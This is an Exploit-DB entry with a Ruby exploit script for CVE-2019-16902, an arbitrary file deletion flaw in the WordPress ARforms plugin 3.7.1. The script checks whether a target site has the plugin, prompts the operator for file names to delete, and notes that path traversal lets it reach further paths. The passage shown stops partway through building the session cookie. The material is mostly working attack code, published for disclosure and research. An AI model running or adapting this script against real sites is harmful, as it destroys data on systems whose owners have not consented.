Exploit-DB #47443
Description: WordPress Plugin ARforms 3.7.1 - Arbitrary File Deletion
Type: webapps
Platform: php
Date: 2019-09-30
Author: Ahmad Almorabea

Exploit:
#!/usr/bin/env ruby

# Exploit Title: WordPress Arforms - 3.7.1 
# CVE ID: CVE-2019-16902
# Date: 2019-09-27
# Exploit Author: Ahmad Almorabea
# Author Website: http://almorabea.net
# Updated version of the exploit can be found always at : http://almorabea.net/cve-2019-16902.txt 
# Software Link: https://www.arformsplugin.com/documentation/changelog/
# Version: 3.7.1

#**************Start Notes**************
# You can run the script by putting the script name and then the URL and the URL should have directory the Wordpress folders.
# Example : exploit.rb www.test.com, and the site should have the Wordpress folders in it such www.test.com/wp-contnet.
# Pay attention to the 3 numbers at the beginning maybe you need to change it in other types like in this script is 143.
# But maybe in other forms maybe it's different so you have to change it accordingly.
# This version of the software is applicable to path traversal attack so you can delete files if you knew the path such ../../ and so on 
# There is a request file with this Script make sure to put it in the same folder.
#**************End Notes****************

require "net/http"
require 'colorize'

$host       = ARGV[0] || ""
$session_id = ARGV[1] || "3c0e9a7edfa6682cb891f1c3df8a33ad"



def start_function ()

  puts "It's a weird question to ask but let's start friendly I'm Arforms exploit, what's your name?".yellow
  name = STDIN.gets

  if $host == ""
      puts "What are you doing #{name} where is the URL so we can launch the attack, please pay more attention buddy".red
      exit
  end


  check_existence_arform_folder
  execute_deletion_attack
 
  puts "Done ... see ya  " + name 

end


def send_checks(files_names)


 
 
  j = 1
  while j <= files_names.length-1
  
      uri = URI.parse("http://#{$host}/wp-content/uploads/arforms/userfiles/"+files_names[j])
      http = Net::HTTP.new(uri.host, uri.port)
      http.use_ssl = true if uri.scheme == 'https'    # Enable HTTPS support if it's HTTPS

      request = Net::HTTP::Get.new(uri.request_uri)
      request["User-Agent"] = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0"
      request["Connection"] = "keep-alive"
      request["Accept-Language"] = "en-US,en;q=0.5"
      request["Accept-Encoding"] = "gzip, deflate"
      request["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
      

      begin
        
        response = http.request(request).code
        puts "The File " + files_names[j] + " has the response code of " + response
      rescue Exception => e
        puts "[!] Failed!"
        puts e
      end
      j = j+1 
  end
end


def check_existence_arform_folder ()

 

  path_array = ["/wp-plugins/arforms","/wp-content/uploads/arforms/userfiles"]
  $i = 0 
  results = []

  while $i <= path_array.length-1  
    
    uri = URI.parse("http://#{$host}/#{path_array[$i]}")
    #puts uri
    http = Net::HTTP.new(uri.host, uri.port)
    http.use_ssl = true if uri.scheme == 'https'    # Enable HTTPS support if it's HTTPS
    request = Net::HTTP::Get.new(uri.request_uri)
    response = http.request(request)
    results[$i] = response.code
    #puts"response code is : " + response.code
    
    $i +=1

  end

  puts "****************************************************"
  
  if results[0] == "200" || results[0] =="301"

    puts "The Plugin is Available on the following path : ".green + $host + path_array[0]
  else
    puts "We couldn't locate the Plugin in this path, you either change the path or we can't perform the attack, Simple Huh?".red
    exit
  end
  
  if (results[1] == "200" || results[1] == "301")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     

      puts "The User Files  folder is  Available on the following path : ".green + $host + path_array[1]
  else

     puts "We couldn't find the User Files folder, on the following path ".red +  $host + path_array[1]
    
  end
  puts "****************************************************"

  

end


def execute_deletion_attack ()

    

    puts "How many file you want to delete my man"
    amount = STDIN.gets.chomp.to_i

    if(amount == 0)
      puts "You can't use 0 or  other strings this input for the amount of file you want to delete so it's an Integer".blue
      exit
    end

    file_names = []
    file_names[0] = "143_772_[PII_REDACTED]02_temp3.txt"
    j = 1
   while j <= amount.to_i
      puts "Name of the file number " + j.to_s 
      file_names[j] = STDIN.gets
      file_names[j].strip!
      j = j+1
    end


    uri = URI.parse("http://#{$host}")
    #puts uri
    http = Net::HTTP.new(uri.host, uri.port)
    http.use_ssl = true if uri.scheme == 'https'   
    request = Net::HTTP::Get.new(uri.request_uri)
    response = http.request(request)
    global_cookie = response.response['set-cookie'] + "; PHPSESSID="+$session_id #Assign the session cook